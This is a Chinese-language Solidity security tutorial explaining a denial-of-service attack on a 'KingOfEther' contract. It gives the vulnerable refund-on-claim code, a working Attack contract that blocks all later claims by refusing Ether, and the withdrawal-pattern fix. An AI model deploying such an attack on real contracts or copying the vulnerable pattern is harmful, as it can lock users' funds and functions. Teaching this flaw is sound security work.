# 拒绝服务攻击

## 漏洞

有很多方法可以攻击智能合约，使其无法使用。

我们在这里介绍的一种利用方法是通过使发送 Ether 的函数失败来进行拒绝服务攻击。



```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

/*
KingOfEther的目标是通过发送比前一任国王更多的Ether来成为国王。前任国王将会收到他发送的Ether的退款。
*/

/*
1. 部署 KingOfEther 合约
2. Alice 通过发送 1 Ether 给 claimThrone() 成为国王。
2. Bob 通过发送 2 Ether 给 claimThrone() 成为国王。
   Alice 收到 1 Ether 的退款。
3. 部署 Attack 合约，并传入 KingOfEther 的地址。
4. 调用 attack 函数，发送 3 Ether。
5. 当前国王是 Attack 合约，没人能成为新的国王。

发生了什么？
Attack 成为了国王。所有新的王位挑战将被拒绝，因为 Attack 合约没有回退函数，拒绝接受来自 KingOfEther 的 Ether，从而在设置新国王前阻止了Ether的发送。
*/

contract KingOfEther {
    address public king;
    uint256 public balance;

    function claimThrone() external payable {
        require(msg.value > balance, "需要支付更多才能成为国王");

        (bool sent,) = king.call{value: balance}("");
        require(sent, "发送Ether失败");

        balance = msg.value;
        king = msg.sender;
    }
}

contract Attack {
    KingOfEther kingOfEther;

    constructor(KingOfEther _kingOfEther) {
        kingOfEther = KingOfEther(_kingOfEther);
    }

    // 您还可以通过使用 assert 消耗所有的gas来进行DOS攻击。
    // 即使调用合约不检查调用是否成功，这种攻击也会成功。
    //
    // function () external payable {
    //     assert(false);
    // }

    function attack() public payable {
        kingOfEther.claimThrone{value: msg.value}();
    }
}

```

## 应对措施

一种防止这种情况的方法是允许用户提取他们的以太币，而不是发送它。

这里有一个例子。

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

contract KingOfEther {
    address public king;
    uint256 public balance;
    mapping(address => uint256) public balances;

    function claimThrone() external payable {
        require(msg.value > balance, "Need to pay more to become the king");

        balances[king] += balance;

        balance = msg.value;
        king = msg.sender;
    }

    function withdraw() public {
        require(msg.sender != king, "Current king cannot withdraw");

        uint256 amount = balances[msg.sender];
        balances[msg.sender] = 0;

        (bool sent,) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
}
```

